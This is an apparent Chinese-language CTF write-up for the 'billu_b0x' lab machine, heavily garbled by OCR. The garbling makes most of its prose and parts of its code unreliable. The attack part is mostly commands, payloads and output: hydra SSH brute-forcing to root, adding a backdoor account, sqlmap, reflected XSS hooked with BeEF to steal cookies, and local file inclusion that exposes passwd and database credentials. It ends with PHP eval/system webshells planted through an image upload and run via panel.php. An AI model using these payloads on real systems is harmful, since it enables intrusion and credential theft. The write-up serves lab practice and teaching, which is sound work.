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#: (GREEELASEZRENKEYD, BRATIEEMER, REESEEERMEHK, EXAD
nmap#E T E ML 045 S

nmap -sS -Pn -T4 -sV -0 192.168.11.22

:~# nmap -sS -Pn -T4 -sV -0 192.168.11.22
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-01 10:55 EDT
Nmap scan report for 192.168.11.22
Host is up (0.00059s latency).
Not shown: 998 closed ports
PORT  STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9pl Debian 5ubuntul.4 (Ubuntu Linux; protocol 2.0
)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
MAC Address: 00:0C:29:E3:BD:0B (VMware)
Device type: general purpose
Running: Linux 3.X]|4.X
0S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
0S details: Linux 3.2 - 4.9 <t
Network Distance: 1 hop
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

0S and Service detection performed. Please report any incorrect results at https
://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.10 seconds Nt .csdn.net/ge

1§ F whatweb 125 Web 84015 B

whatweb -v -a 3 192.168.11.22




:~/Desktop# whatweb -v -a 3 192.168.11.22
WhatWeb report for http://192.168.11.22
Status : 200 OK

: =-==[[IndiShell Lab]]==--

: 192.168.11.22

: HTTPServer| 1[Apache/2.2.22 (Ubuntu)], X-Powered-By[testi
ng only], X-Frame-Options[SAMEORIGIN], Apache[2.2,2.2.22], Cookies[PHPSESSID], S
cript[text/javascript]

Detected Plugins:

[ Apache ]
The Apache HTTP Server Project is an effort to develop and
maintain an open-source HTTP server for modern operating
systems including UNIX and Windows NT. The goal of this
project is to provide a secure, efficient and extensible
server that provides HTTP services in sync with the current
HTTP standards.

Version : 2.2.22 (from HTTP Server Header)

Version : 2.2

Version : 2.2

Google Dorks: (3) https://blog.csdn.net/qq_43968080

{3 A dirb & Web B 3%

---- Scanning URL: http://192.168.11.22/ ----
+ http://192.168.11.22/111 (CODE:200|SIZE:19)
+ http://192.168.11.22/add (CODE:200|SIZE:307)
+ http://192.168.11.22/c (CODE:200|SIZE:1)
+ http://192.168.11.22/cgi-bin/ (CODE:403|SIZE:289)
+ http://192.168.11.22/cmd (CODE:200|SIZE:0)
+ http //192.168.11.22/head (CODE:200|SIZE:2793)
=> DIRECTORY: http://192.168.11.22/images/
+ http //192.168.11.22/in (CODE:200|SIZE:47549)
+ http://192.168.11.22/index (CODE:200|SIZE:3263)
+ http://192.168.11.22/panel (CODE:302|SIZE:2469)
==> DIRECTORY: http://192.168.11.22/phpmy/
+ http://192.168.11.22/server-status (CODE:403|SIZE:294)
+ http://192.168.11.22/shell (CODE:200|SIZE:0)
+ http://192.168.11.22/show (CODE:200|SIZE:1)
+ http://192.168.11.22/test (CODE:200|SIZE:72)

==> DIRECTORY: http://192.168.11. 22/up}99q%m+[mﬂg e

WA EEKRBEE U TE R




H¥sIP: 192.168.11.22

e OS: Linux (Ubuntu)
e 22%i: ssh, OpenSSH

e 80%iH: hitp, Apache 2.2.22
WHAMBPWebigE, BEUTER:

e http://192.168.11.22/add: L 4& 4

o http:/192.168.11.22/in: phpinfor& ¥

e http://192.168.11.22/index.php: & F K1

¢ http:/192.168.11.22/phpmy/: phpmyadmin

o http://192.168.11.22/test: X H S

e http://192.168.11.22/c: Z T H

e http://192.168.11.22/cmd: 7= T TH

o http://192.168.11.22/head: 7= TH

e http://192.168.11.22/panel: 7= T TH

e http://192.168.11.22/shell: %= T i

e http://192.168.11.22/show: 2= T

o http:/192.168.11.22/server-status: R E

e hitp://192.168.11.22/cgi-bin/: R 2

o http:/192.168.11.22/index: ZF 5, [ Jindexphp
e hitp://192.168.11.22/uploaded_images/: &} 3cfE3k

=\ BESE
1. sshilk 128
1) B EEsshikRS

B 5EIR— T 220 DR

hydra -L /usr/share/wordlists/uname_passwd/adminUser.txt -P /usr/share/wordlists/uname_passwd/adminPsd.txt -vV -

t4 192.168.11.22 ssh

FHRINT, B——AREWHE/NT 4

adminUser.txt

EECR ] | was) |[=] - 5 <
admin m—

administrator ‘ H ‘ adminPsd.txt ‘ ||—= ‘
root ﬂ E [usrishare/wordlistsfluname_passwd RTF(S) = °
adminl23 1234 e—
user 12345

master 123456

test 1234567

testadmin 12345678

tester 123456789

guest 4321

siteadmin 54321

myftp 654321

manage Password

manager passwd

system iloveyou




hello princess
adm rockyou
admini abcl23
helloworldadminabcd234
younome ABCD1234
nibushiwo alb2
520250 alb2c3
admim alb2c3d4
adnin alb2c3d4e5
mangeruser abcdel2345
mangeuse ABCDE12345
secadm abcdeabcde
sysadm ABCDEABCDE
auditadm abcdef
audit abcdef1234
security abcdefg
abcdefgh

UOER, BEAEBHTIK: root, 123456

[ATTEMPT] target 192.168.11.22 - login "root" - pass "123456" - 219 of 3348 [chi
1d 1] (6/0)
[ATTEMPT] target 192.168.11.22 - login "root" - pass "1234567" - 220 of 3348 [ch
ild 3] (0/0)

[22][ssh] host: 192.168.11.22 login: root password: 123456

[ATTEMPT] target 192.168.11.22 - logln “adminlZ3" - pass 1234 - 325 of 3348 [c
hild 1] (0/0)

[ATTEMPT] target 192.168.11.22 - login "adminl23" - pass "12345" - 326 of 3348 [

child 2] (0/0) //blog.csdn.net/g

ok, 1 terminal i ssh R EE— FTHFER

:~/Desktop# ssh root@192.168.11.22
The authenticity of host '192.168.11.22 (192.168.11.22)' can't be established.
ECDSA key fingerprint is SHA256:UyLCTuDmpoRJdivxmtTOMWDkOapVt5NWjp8Xnole+Z4.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.11.22' (ECDSA) to the list of known hosts.
root@l92.168.11.22"'s password:
Welcome to Ubuntu 12.04.5 LTS (GNU/Linux 3.13.0-32-generic 1i686)

* Documentation: https://help.ubuntu.com/

System information as of Thu Apr 2 10:55:02 IST 2020 https:/blog.csdn.net/qc

HEM Arooth R, 4BEE

root@indishell:~# id
uid=0(root) gid=0(root) groups=0(root)

root@indishell:~# whoami
root
root@indishell:~#

2) Blgrooti SR, Webs&6H5
BRABE I — N roott R/, B — AN DR
BESR Rrooth fR, HARE Ktpasswd AR SIR, AT LA —/ANFH 7 xiaohei, FEEEEHUR id

root@indishell:~# useradd xiaohei




Enter new UNIX password:

Retype new UNIX password:
passwd: password updated successfully

T FFpasswd 3, Kixiaohei KA FR1E A 0 0

Sey BB Pica, EYI#Exiaohei ', EHE HI IR Aroothl [R

root@indishell:~# su ica
ica@indishell:/root$ su xiaohei

Password:
# id /

uid=0(root) gid=0(root) groups=0(root)

# sudo su

root@indishell:~# id

uid=0(root) gid=0(root) groups=0(root)
root@indishell:-—# ‘ https://blog.csdn.net/gq_

ok, FFHELIE, WEBIMuEHREZR, —KLinuxEIBRIAWeb B RARAE /var/www T, AT LY 1 2 B 43 # K — A phpinfo 7T T

_SERVER["SERVER_PORT"] 80
_SERVER["REMOTE_ADDR"] 192.168.11.1
_SERVER["DOCUMENT_ROOT"] Ivariwww
_SERVER["SERVER_ADMIN"] webmaster@localnost
_SERVER["SCRIPT_FILENAME"] Ivariwwwiin.php

FEUG R T APy, A IS 4245 2| Webshell

4 H [0 192.168.11.22
D HR¥IE (3) < | [O3fr¥isk (14)
=0/ OFE v #LE < RIEH & FHF AHE - Jvar/www/
S £ 15 B4
= ) www
- images (] images 2017-03-20 08:40:52
M phpmy O phpmy 2017-03-20 10:11:59
M uploaded images (3  uploaded_images 2018-10-06 20:36:32
add.php 2017-03-20 08:41:45
c.php 2017-03-20 08:44:22
) cmd.php 2018-09-29 11:10:04
head.php 2017-03-20 08:24:16
head2.php 2017-03-20 08:45:58
in.php 2017-03-19 00:28:43
index.php 2018-09-29 18:09:19
panel.php 2017-03-20 08:29:26
shell.php 2020-04-02 12:49:43
>l show.php 2017-03-20 08:42:43

4 Kb
4 Kb
4 Kb
330b
391b
31b
2.76 Kb
2.43 Kb
22b
1.36 Kb
212 Kb
32b
596 b

<> B
=] o
0755
0755
0777
0755
0755
0755
0755
0755
0735
0755
0735
0644
0755




. e B T —

test.php 2017-03-20 10:08:06 824 b 0755

o3 xR Y B BRARHEAT 20 M DA R T 3R 7%, 83 LAR JLANBRABL T I F B 55 A -

THBUZNANRZE—RIFEE, X2 getshell 1AL .

BRTH AR —NsqUEANTRR, HEMEH&FITE, TERIEN.

Show me your SQLI skills
Username :- iss23%3zsmizonibenai  Password:-

let's login

a or '1'&S8il

select™ from auth w _

i Fsqlmapi#tiTiE N, It B A Get fdft

sqlmap -u http://192.168.11.22 --data="un=aaa&ps=bbb" --level=3 --tamper "base64encode.py,space2comment"” --cooki

e="PHPSESSID=jjneulif3aon2c9l97ani170kRdO"

SqQRENKIR R BT o

EREAMLRES, RIXMLFEXSST R

v 0 Cross-site scripting (reflected) [2]
@) / [ps parameter]
@) / [un parameter]
Unencrypted communications
» 1 Input returned in response (reflected) [2]
> Suspicious input transformation (reflected) [2]
Cross-site request forgery

Advisory | Request l Response ]

J Raw I Params T Headers T Hex }
POST /HTTP/M 1

Lmed A0S 400 44 A0




MuUsL 12210001 1.£4

User-Agent: Mozilla/s.0 (Windows NT 10.0; WinGg4, x64,; rnv.74.0) Gecka/20100101 Firefox/74.0
Accept: text/html application/zhtml+xml applicationfzml;q=0.9 imagefwebp */*,q=0.8
Accept-Language: zh-CN zh;q=0.8 zh-TW,;q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;g=0.2
Accept-Encoding: gzip, deflate

Cantent-Type: application/-www-form-urlencoded

Content-Length: 33

arigin: http:/192.168.11.22

Connection: clase

Referer: hitp/f192.168.11.2%

Cookie: PHPSESSID=jjneulif3aon2c9l197ani7okd0

Upgrade-Insecure-Requests: 1

un=aaa&ps=bbbdnj54%3cscript3ealert(1)%3c%2fscript%3eywus4&login=Iet% 27s+Hogin

i Nbeef-xssi g, TEMAuNgmiGRSE, BIFxssEAN
Hooked Browsers Getting Started Logs Zombies Current Browser
4 (5 Online Browsers
45192.168.11.22 Details Logs Commands Proxy XssRays MNetwork
7 M= ? 192168111 Key value
4 {33 Offine Browsers browser.plugins Shockwave Flash
45127001 O

‘] é lﬂ ? L7001 browserversion 740

@ M| = 7 192168881 provserndoncookies EEE?ﬁ%%ﬁi%ﬁﬁi“@fﬂ&gﬂ%@mm hMLKMUOS0GBg6LRIg:2H
browser.window.hostname 152.168.11.22
browserwindow.hostport 80
browser.window.origin http:#/192.168.11.22 7
browserwindow.referrer http://192.168.11.22/ M____
browserwindow.size. height 728
browser.window.size width 1536
browser.window.title —-==[[IndiShell Lab]]==-
browser.window.uri http://192.168.11.22/

& — T X757 cookie
» DEEF UDUT  SUATH Dmy | COOT
Hooked Browsers Getting Started Logs Zombies Current Browser

[ Oniine Browsers

4 =3 Offfine Browsers Details Logs Commands Proxy XssRays Metwork
43rroal Module Tree Module Results History

@ 0 @ 9127002 | e | dat bl 1
. . Search - e
@ @ ¥ 7 192168881

9 l & 7 4 () Browser (56) hall 1) 2020-04-0301:19 command 1

v 7 192.168.11.1 4 =5 Hooked Domain (26)

_ Get Cookie

Get Form Values
Get Page HREFs
Get Page HTML

Get Page and iframe
Remove stuck iframe|
Replace HREFs

Command results =

Fri Apr 03 2020 01:19:23 GMT-0400 (EDT)

data: cookie=PHPSESSID=jneulif3aon2c 9197 ani7 okdd;
BEEFHOOK=5GUXMfoL XBELoiZe2yh7tSI9teQ 9F 1hIhMLKMUOS0GEGELR 9gx 2ZHk BhnSbU YlggPJg

ERR—MRHFHXSS, HALAK, sqEEABREIL, FHT-

2.2. add.php




EHE—AE, HEAREINE, HREWNT:

183431528235398528482163267854
Content-Dispasition: form-data; name="name"

aaa
183431528235398528482163267854
Content-Dispasition: form-data; name="address"

bbb
183431528235398528482163267854
Content-Dispasition: form-data; name="ig"

ccc

1834315282353985268482163267854
Content-Disposition: form-data; name="upload"

upload
183431528235398528482163267854--

KITW LAt 230, #MEAEMYCR, REEFEIHENZIER, EEBNME:

GET fsuccess bt HTTR/M .1

Host: detectportal firefox.com

User-Agent: Mozillals.0 (Windows NT 10.0; Wing4, ®64, rv:74.0) Gecko/20100101 Firefox/74.0
Accept: **

Accept-Language: zh-CN zh;q=0.8 zh-TW;q=0.7 zh-HK;q=0.5 en-US;q=0.3 ,en;q=0.2
Accept-Encoding: gzip, deflate

Cache-Cantrol; no-cache

Pragma: no-cache

Cannection: close

HFBRAT LA AL, ST

2.3, test.php: EECHENE TH
1) RRAEEXH THREFER

XA TE B AR, TR AR 'file' parameter is empty. Please provide file path in 'file' parameter , Hif&
fileZ¥h%, FEEANA—ASH



EREREURLES N —Mile, SH ¥ ENRIA T2 #index php X

phpinfo() X | 192.168.11.22/test¥ile=index.p/ X

+

< C ® O #Z 192168.11.0/test?file=index.php

'file' parameter is empty. Please provide file path in 'file' parameter

OBangE ErEE @ DVWA @) localhost ) SQLi ) BeEF SegmentFault B

WARRZRNE, BRAETERRPOSTHR, MEBHIRIZITR

J Raw I Params [ Headers [ Hex }

GET ftest HTTP/ .1
Host: 192.168.11.22

Accept-Encoding: gzip, defla
Connection: close

Cookie: PHPSESSID=|jneulif:
Upgrade-Insecure-Requests
Cache-Contral: max-age=0 Send to Decoder
Request in browser

Send to Repeater Ctri+R
Send to Sequencer
Send to Comparer

User-Agent Mozilla/5.0 (win{  Send to Spider /20100101 Firefox/74.0
Accept text/htmlapplicatian Do an active scan pr*g=0.8
Accept-Language: zh-CNzh)|  Send to Intruder ctri+l (0.3 en;g=0.2

>
Engagement tools > /
Change request method -
Change body encoding

foL<BLoiZe2yh7ts19teQ9F 1hInMLKMUOS0GEg6LR 9gx2HKEh

BEHHEKXE file=index.php 13, WH REKRRFISHENZE, HE! HE! BER—-AXHRERET, FEXHEEHX

1 it

IETEFT7F index.php

ERE THIOT:
| ] index.php

I{E2ER: PHP Script (1.4 KB)
ER: http://192.168.11.22

B Firefox e ERIES44?

O FFE3E(S)

HEE BGE

phpfile (EXiA) w

2) AR T RIEE AT H T

AR B AT AR BB BT A SR T OREATIRIS & T T, RAB/E TUTIINMERHKEER:

a add nhn. shE_ASEIHA O2 7 bAESAGARRL  H A0 BNIH AR RD L&

RR D i sk K Bor i L AEREE

L-Are




T auu.prIpE: . LA I LIUUGKIT N9 J LUIR AP/ AYINHT s XS BY L EE T I HPOCH 9 J71 YA LSLZ 1 R T LU IR UM

H<?php

echo '<form method="post" enctype="multipart/form-data">
lect image to upload:

<input type="file" name=image>

<input type=text name=name value="name">

<input type=text name=address value="address">

<input type=text name=id value=1337 >

<input type="submit"™ wvalue="upload" name="upload">
</form>"';

L2

o c.php: B2—/NEEFWEEN L, B TERESEENKSHD: billu. bex_billu

H<?php

theader( 'Z-Powered-By:its chutiyapa xD' );
header ('X-Frame-Options: SEMEQRIGIN');
header( 'Server:testing only' };

header ( 'X-Powered-By:testing only' );

ini_set( 'session.cookie httponly', 1 );

Sconn = mysqli_connect|"127.0.0.1","billu","b0x billu","ica lab");

// Check connection
if (mysqgli_connect _errno())

B {

echo "connection failed -> " . mysqli_connect_error():;

-}

L2

e cmd.php: &—/ php —AiEARY, HEETE repeater BF

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex

POST fest HTTR/ 1 : HTTR/1.1 200 OK
Host 192.168.11.22 Date: Sat, 04 Apr 2020 13:07:16 GMT
User-Agent: Mozilla’s.0 (Windows NT 10.0; Wined; x54; rv.74.0) Gecka/20100101 Firefox74.0 Server Apache/2.2.22 (Ubuntu)
Accept: text/ntml applicationfxhtml+xml,application/xml;q=0.9 .imagefwebp **,q=0.8 Accept-Ranges: bytes
Accept-Language: zh-CNzh;q=0 B zh-TW: q=0 7 zh-HK;q=0 5 en-US;q=0 3 en.q=0 2 *-Powered-By PHP/S 3.10-1ubuntud 26
Accept-Encoding: gzip, deflate Content-Description: File Transfer
Cannection: close Content-Transfer-Encading: binary
Cookie: PHPSESSID=jjneulif3aonZc2l97ani7akdl, Expires. O
BEEFHOOK=5GUxMIoL<BLai2e2yh7tSI9te Q9F 1hIMLKMUO0S0GEq6LR9gx2HKBhNSbUYIggPJIgMRTs Cache-Contral: must-revalidate, post-check=0, pre-check=0
WMIWmMRoWW FPragma: public
Upgrade-Insecure-Requests: 1 Content-Dispasition: attachment; filename="cmd.php"
Cache-Contral: max-age=0 Cantent-Length: 31
Cantent-Type: applicationf-waww-farm-uriencoded | Connection: close
Content-Length: 12 Content-Type: application/octet-stream
file=cmd.php <?php @eval($_REQUEST[cmd]); 7>

e index.php: #HisqiEf)itidiE T 8515, BRhexhd Ll K Unicodedwfdml PAgeid, ERERBMRTEEAN. -




funame=str_ replace('\'','',urldecode (5 POST['un'l)); F—-
echo "<br>".Suname."<br>";

fpass=str_replace('\'','',urldecode (s POST['ps']l)); *____
eche "<br>".S5pass."<br>"; P —
Srun="'select * from auth where pass=\'"'.Spass."'\
echo "<br>".Srun."<br>";

sresult = mysqli_query(Sconn, Srun);

'.Suname. "\

and uname=\

e panel.php: HFEXHEERE, BRI AphpX, ZETRTFHEITERD

if(isset($_POST[':ontinue']]]
{
Sdir=getcwd();
Schoice=str_replace('./','',5 POST['load']);

if (Schoice==="add")

{
include (Sdir.'/'.Schoice.'.php');
die () ;
}
if ($choice==="show')
{
include (Sdir."'/'.Schoice.'.php');
die() ;
}
else
{

include ($dir.'/'.$ POST['load']):
}




BRA—TRE TERA bR, Zilpasswd, HE!

IETEFT7F passwd X

1SR T
i passwd

I{g2ER:  application/octet-stream (1.1 KB)
ER: http://192.168.11.22

I8 Firefox QAN {E?
OFI7F, BL©) | RES(B)...
@ FEH(S)

HE BGE

JEAR AT A B AR S, T HE R R BUR S, B F nmap A iR B 30 e S0, RILAEE

:~/Desktop# nmap --script=http-methods 192.168.11.22
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-03 11:39 EDT
Nmap scan report for 192.168.11.22
Host is up (0.0026s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
| http-methods:
|~ Supported Methods: OPTIONS GET HEAD POST
MAC Address: 00:0C:29:E3:BD:0B (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.57psécomdsnet/od_

3) #Hitphpmyadminft B XX #, BRBEEKELE
ok, FRHLFIF SOt FE VR TR SR E — T phpmyadminft B34 (FAKRILK /phpmy/ #1432 & phpmyadmin)
2R\ I phpmyadminfic B 324447 FphpmyadminSCAE R T, — B UL TR ERE

./libraries/config.default.php

./config.inc,php



TERE—A, BEAZLHTphpmyE 2 RR B %, B UL B EAE AR X B4 B AT 7 i 2

j Raw T Params T Headers | Hex

POST Aest HTTR/1.1

Host: 192.168.11.22

User-Agent: Mozilla/5.0 (Windows MT 10.0; Wine4; x64; rv.74.0) Gecka/20100101 Firefox/74.0
Accept: text/html application/xhtml+xml application/xml;q=0.9 image/webp **,q=0.8
Accept-Language: zh-CN zh;q=0.8 zh-TW,q=0.7 zh-HK;gq=0.5,en-US;q=0.3,en;g=0.2
Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=jjneulif3aon2c197ani7okdl; BEEFHOOK=5GUXMMoL<BL0i2e2yh7tSI9te Q9F 1hINMLKMUOS0GEq6LRIgx2HKBhN SbUYIggPJ9gMRISWMWMhoWW
Upgrade-Insecure-Requests: 1

Caontent-Type: application/«-www-form-urlencoded

Content-Length: 0

fileq/phpmy/libraries/config default. php

el LS4 % it (var/www/phpmy/libraries/config. default. php)

BREZERM)E, EfRuserki@®E, KMWT —rootH /7, EHEKEHRG

* MySQL useﬂ
7

* [@Aglobal string Scfgl['Servers'][5i]['user']
Scfg['Servers'][Si]['user'] = 'root'; F

* MySQL password (only needed with 'config' auth type)
o
* @Aglobal string Scfgl['Servers'][5i] ['password']

Scfgl'Servers'] [Si] ['password'] = '';

THEABEH AMEXH, BT AR, ER

/* Server: localhost [1] */

Sit+;

Scfgl'Servers'][$i] ['verbose'] = 'localhost';
Scfgl['Servers'][$i]['host'] = 'localhost';
Scfgl['Servers'] [$i]['port'] = '';
Scfg['Servers'][Si]['socket'] = '';
Scfgl'Servers'] [$i]['connect type'l = 'tcp';
Scfgl['Servers'] [$i] ['extension'] = "mysgli';
Scfg['Servers"1[Si]['auth type']l = 'cookie';

Scfgl['Servers'][$i]['user'] = 'root';
Scfgl'Servers'] [$i] ['password'] = 'roottoor';
SCLIgL SELVELS JIo1l]l ALIOWNOP4asSwOrd']l = LCIue;

FRIERIS c.php BRHRIBIEEK SN, NASE T HAERBEENK :

e billu: b0x_billu

e root: roottoor

THAEAXFHEERK S, KEFphpmyadmin



2.4. phpmy: {5 Bit¥E
1) & A phpmyadminf3 2| &5 B

phpmy&phpmyadmin®& # 51, root: roottoor &K, #H billu: bOx_billu &% )

phpMyAdmin

) - DHiEE LisaL G EES SHE L8E S8AN o TE S FHE 4SE BE
S 83 @0 @

" ica lab

@ infnrmatw

IR E
& Language o 1‘ th3Z - Chinese simplified

@ 5 s pmonomme -
2% om0 ]

& BzgE

ica_labfE BHF =5KE:



o TE auth® BRIT —MK/: biLlu. hex_it CHbBK/ {5 BEIIE A T index.php)

+ 1FEIN

= = id|uname pass

O & fmis o thERiE 355 © Mk 1|billu  hEx it
Tt /SRS AT o R 0 MR B S

o download® W& EHS AR A

—T— id image_name location
[ &7 558 o HREifRiE 3 5% @ M 1 Marine ford images/marine.jpg
U & %iE o hERE 3 55 @ M 2

O ¢ RwiE o HRERE 3 S5 @ MEx 3

L o HHiE o HREREE 3« 55 © MiBR 4 straw-hat crew images/straw_hat crew jpg

O J i & hiERE 8 5 Whitebeard luffy ace images/Whitebeard luffy ace.jpg

Luffy fourth gear images/Gear Four luffy.jpg
Newgate Vs Teach  images/Newgate Vs Teach.jpg

& @ kR

o user® WA E U RHN:

+ JFEII

Sl id name image address

L JHE o RRREE 3 S5 © Mk 1 Jack jackjpg Jack sparrow, Pirate of the caribbean

U s/ &HE o REmEE 355 @ MEk 2 Captain Barbossa CaptBarbossa.JPG Captain Barbossa, pirate of the caribbean
O & wis o REiEE 3+ 85 @ Wik 1234 qw 8% ¢%ot1.png qw

O o %miE o tuEimis 3 55 © MiE: 1337 xx cmd.jpg XX

2) #|H phpmyadmini: 5

ZkgzphpmyadminfJ iR, BESRHEN T phpmyadmin/s &, BREE— T AR Hphpmyadminki#L, £ E—#: VulnHubfEHl
%% 2 —Lazysysadmin F 2 £ 3 2| T phpmyadminff) B FEE 5 77 v

» phpmyadmind ARG

1. into outfile HIEEXAT;
2. HEBERTEEASNsqLER.

LR P o 75 A o6 06 R = AN 2 A

1. RPRI SO B4R
2. HETH A B SXHAR
3. FIEM IR H 3%


https://blog.csdn.net/qq_43968080/article/details/105009290

2.1) FHoutfile5 X HHHS

REZMH=CKWL, MERERE /var/ww , BEH RIS ST B LR )

show variables like '%secure’’

SHOW VARIABLES LIKE "%secure%'

+ 171

Variable name Value

secure auth OFF - m—

secure file priv

RERE, BAMRE], 5§ —phpARDRBSCAFRRA

select '<?php phpinfo(); ?)>' into outfile "/var/www/shelll.php"

0 #1045 - Access denied for user ‘billu’@'localhost’ (using password: YES)

EBRSEE "localhost" =T SQL &Fif): o

select "<?php phpinfo(); ?)>" into outfile |'fvarfwww}shell'l.php"

R, BAEXFRIRER, ERAT T, EFEBIEENOSREEE, RT.
22) MABEXHESD

el —THEXMHREED, EFE2RHEHER

show variables like ‘%general%’;



+ 171

Variable name Value

general log OFF

b—.——_—___—
general log file /var/lib/mysql/indishell.log -

AR HERXARES, BBRECLEE, FrUlRARErottlR T, 174k HEFBEEEE.

set global general log = on

set global general log file = 'iREHKRRZ’

[Q’ #1227 - Access denied; you need (at least one of) the SUPER privilege(s) for this operation

£iRZ 22 "localhost” i=fT SQL &if): o

set global general log = on;

R, BRARE, PR TEE R, AR TEE M phpmyadminskR £ E|Webshell T o

2.5. index.php &: XHE&5+EAF L

D AAKFERES

Z BT xtindex W H#E4TsqREA TR, F I HHEE BRI EN.

{BRH auth® FRBIMKF, BT 280 index.php XM B & sqlE BN, ElRRRLXMauth®

funame=str_replace('\'', "', urldecode($ POST['un']));

echo "<br>".Suname."<br>";

fpass=str_replace('\'','',urldecode (s POST['ps']));

echo "<br>".Spass."<br>";

srun="select * from auth| '.-:hf:e pass=\""'.Spass.'\' and uname=\"''.Suname.'\"'"

echo "<br>"_Srun."<br>"; %
— J = —

fresult = mysqli query($conn, Srun

FIXAK R Ih &S, #HANT REEEWAE, Show Users Rl B2 8T user& BRI




Welcome to billu bOx

Show Users - continua

% Kali Tools " KaliDocs ™, Kali Forums “e NetHunter [l Offensive Security = Exploit-DB = GHDB [l MSFU

tips://blog.csdn.net/gg_43968080

2) EEEA SRR R #Hshell




Add User 2EIEZ—AMHF, FELERA, BB LENBRARAP LG, EHMETHERREZ, BAEXERTUEE—NER
5, HRIAZAE panel.php HIXHFEEIRIA, KGetshell

Add User i continue

Select image to upload: R,

 hitpsi/blogcsdn.netiaq_43968080

E—TRRERI/DNCRE, RESITIHERRES Mphp— R, HIERAD

iﬁ%tf M43 g :
P 3 D IR 5 F ¢ >0§K§ADWU ] )T %ERrﬂ (-1‘}F-m‘f?ﬁfﬂ

<?php Reval (5 POST["hack™]): ?|>
_! —

[ R A =
{0 O o o B Oy |
= M= O

EtkjE, BEAMPHIN LRI

$TFpanel.php i, % Show UsersHiMa &g ain T .

® Jload=show&continue=continue
A
load=/uploaded_images/aaa.jpg&continue=continue&hack=phpinfo();



K, WAEHREDAEZphpE R, BRREIIITAD

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex | HTML I Render ]

POST /panel php HTTR/ 1

Host 192.168.11.22

User-Agent: Mozilla/s.0 (Windows NT 10.0, WinG4, x84, rv.74.0) Gecko/20100101 Firefox/74 .0
Accept: text/html application/xhtml+xml application/xml:g=0.9 imagefwebp **q=0.8
Accept-Language: zh-CN zh;q=08 zh-TW:q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Referer: http:/1182.168.11.22/panel php

Cantent-Type: applicationf-www-form-urlencoded

Cantent-Length: 63

Origin: http:/f192.168.11.22

Connection: close

Cookie: PHPSESSID=jjineulif3aon2c8197aniTokdl;
BEEFHOOK=5GUAMfoLXBLoi2e2yh7tSI9te Q9F 1hIhMLKMU0S0G8gELR 9Igx2HKEhNSbUYlggP J9giv
RsWMWAYmMhaWW

Upgrade-Insecure-Requests: 1

Cache-Caontrol: max-age=0

load=/uploaded_images/aaa jpg&continue=cantinue&hack=phpinfa();Zz

e

hr {width: 600px; background-color: #cccccc; border: Opx; height: 1px; color: #000000;}
</style=

<title=phpinfo()</ttle=<meta name="ROBCTS" content="NOINDEX NOF OLLOW NOARCHIVE"
f=</head>

<body><div class="center">

<table border="0" cellpadding="3" width="800">

<tr class="h"=<td>

<a href="httpwww pho net"><ima barder="0"
src="/panel.php?=PHPE9568F34-D428-11d2-A759-00
classq'p">PHP Version 5.3.10-1ubuntu3.26</h 1>
<ftd=<ftr>

</table==ry

<table border="0" cellpadding="3" width="800">
<tr=<td class="e">8System </td><td class="v">Linux indishell 3.13.0-32-generic
#57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 </td=</tr>

<tr=<td class="e">Build Date </td><td class="v">Feh 13 2017 20:25:26 </td></tr>
<tr=<td class="e">Server AP| </td><td class="v">Apache 2.0 Filter </td=</tr>
<tr=<td class="e"=Virtual Directory Support </td><td class="v">disabled </td></tr>
<tr=<td class="e">Configuration File (php.ini) Path </td><td
class="v">letciphp5lapache2filter </td=</tr>

<tr=<td class="e">Loaded Configuration File </td><td
class="v">letciphpSlapache2filteriphp.ini </td=</r=

<tr=<td class="e">Scan this dir for additional .ini files </td><id

(PADDTACF42" alt="PHP Loga" /=<fa><hl

IR AT LAt eval B s system g #, A SR AT Linuxdr &

, B R#shell. EFHIERAFD,

—"ﬂiﬁﬁ:‘é\ﬁ[l?:

[T SR R =
nononoon
A

=

ﬁ'>php system{S POST["hack"]} 2>

3
E-

FIRER) EARIR, BEdEa, HPhackff&EBINRAIER 1s :

Request

Raw | Params | Headers | Hex

Raw | Headers | Hex | HTML [ Render ]

Response

POST /panel.php HTTR/1.1

Host 192.168.11.22

User-Agent. Mozilla/5.0 (Windaws NT 10.0, WinG4; x84, rv.74.0) Gecko/20100101 Firefox/74.0
Accept texthhtml application/xhtml+xml applicationfxml:q=0 9 image/webp **.q=0.8
Accept-Language: zh-CN zh;q=0.8 zh-TW,q=0.7 zh-HK;q=0 5 en-US:q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Referer: http://192.168.11.22/panel php

Content-Type: applicationf-www-form-urlencoded

Content-Length: 55

Origin: http://192.168.11.22

Connection: close

Cookie: PHPSESSID=jjneulif3aon2c997ani7okdd;
BEEFHOOK=5GUXMfol.XBLai2e2yh 7tS18t=QAF 1 hIhMLKMUOS0G8q6LRAgx2HKkBhnSbUYIggPJ9gM
REsWMIyWmho W

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

load=/uploaded_images/aaa jpg&continue=continue&hack=ls

=

000 05000000V|z0?0"00000000GO(0BOO"D$00100|0:00
DEOD0OC0CDEDDOOal00)000h]QOI000ND0~700000/00d000~00;k0?00p03-0k00GO0COY|
O00(00D OdO0QO?0TO00pO0000O00CeO<OxzTNOOOCOQ O?00000+0*00 DO!OO
>wO0AD 00000>000h 00OUOOCOO?40aRr0J(0000v0YD 00000 O00&O0e0000jO0000
ck0*0000000005>r00000X 000+Lz0OOOO0OR)n;00AD40000000t000000QGOOPOA
COoO0O0O000O0MDOOEDD&OfOO0000+00wS;000000000VOOOn0B0OP OoOOOOKLODOOZ
OTO&vn _OY 0?0Y0d6?$00VOOwWOOO0GO}OOSj000040(?00

111.txt
add.php
c.php
cmd.php
